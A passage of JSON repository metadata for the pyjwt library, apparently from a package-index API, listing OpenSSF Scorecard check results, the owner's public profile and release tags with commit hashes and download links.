GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2